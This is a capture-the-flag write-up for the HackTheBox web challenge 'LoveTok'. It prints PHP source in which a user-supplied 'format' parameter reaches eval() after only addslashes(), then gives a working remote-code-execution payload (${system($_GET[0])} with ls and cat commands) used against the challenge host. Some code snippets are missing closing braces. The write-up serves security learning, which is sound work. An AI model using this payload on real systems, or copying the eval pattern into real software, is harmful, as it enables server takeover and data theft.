LoveTok

Platform: HackTheBox | Category: Web | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

True love is tough, and even harder to find. Once the sun has set, the lights close and the bell has rung... you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin' (at your door). Come and check it out, but don't try to cheat love because love cheats back. 💛

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. Open the host given.

http://178.62.88.144:30462/

1. When i clicked try again, new date & time displayed.

2. Notice we have format parameter.

3. Anyway let's unzip the zip file given.

4. Jump to the extracted folder.

5. Since i don't want to exploit in local, so let's jump to the challenge directory to find the source code.

INDEX.PHP

 php read-only • copy allowed Copy
<?php 
date_default_timezone_set('UTC');
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
$router = new Router();
$router->new('GET', '/', 'TimeController@index');
$response = $router->match();
die($response);

1. Based from the index.php file, i let's open the controller directory.
2. Great we found the time controller source.

TIMECONTROLLER.PHP

 php read-only • copy allowed Copy
<?php
class TimeController
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }

1. Based from it we know that the value of format parameter passed to the TimeModel class.
2. Now let's check the TimeModel.php file in the models directory.

TIMEMODEL.PHP

 php read-only • copy allowed Copy
<?php
class TimeModel
    public function __construct($format)
    {
        $this->format = addslashes($format);
        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }
    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }

1. Based from it, we know that the format parameter is sanitized by the addslashes() function.
2. The addslashes() function add a forward slash in front of these characters:

", ', \, NULL BYTE

1. At the getTime() function we realize that out input is executed inside the eval() function.
2. eval() function is a vuln in php, because the attacker can utilize the func to do RCE to get the flag.
3. However, there's an addslashes() func, so we can't add the quote and do a system call resulting in RCE.
4. So i did a small outsource about how to bypass the addslashes() function.

THE LINK
https://www.programmersought.com/article/30723400042/
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html

1. When i add ${system("ls")} as the format value, obviously it won't do anything.
2. Based from the article i read, we can utilize the GET parameter. Since %_GET is a dictionary, the key can be a number, hence we can add the 2nd parameter to be anynum equal to cat, ls, etc.
3. So our shall look like this:

 php read-only • copy allowed Copy
${system($_GET[0])}&0=ls

COMPLETE URL

http://178.62.88.144:30462/?format=${system($_GET[0])}&0=ls+--+/

1. Notice there's a flag file (?)

2. Let's cat the file.

 php read-only • copy allowed Copy
${system($_GET[0])}&0=cat+/flagtERAM+--+/

COMPLETE URL

http://178.62.88.144:30462/?format=${system($_GET[0])}&0=cat+/flagtERAM+--+/

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.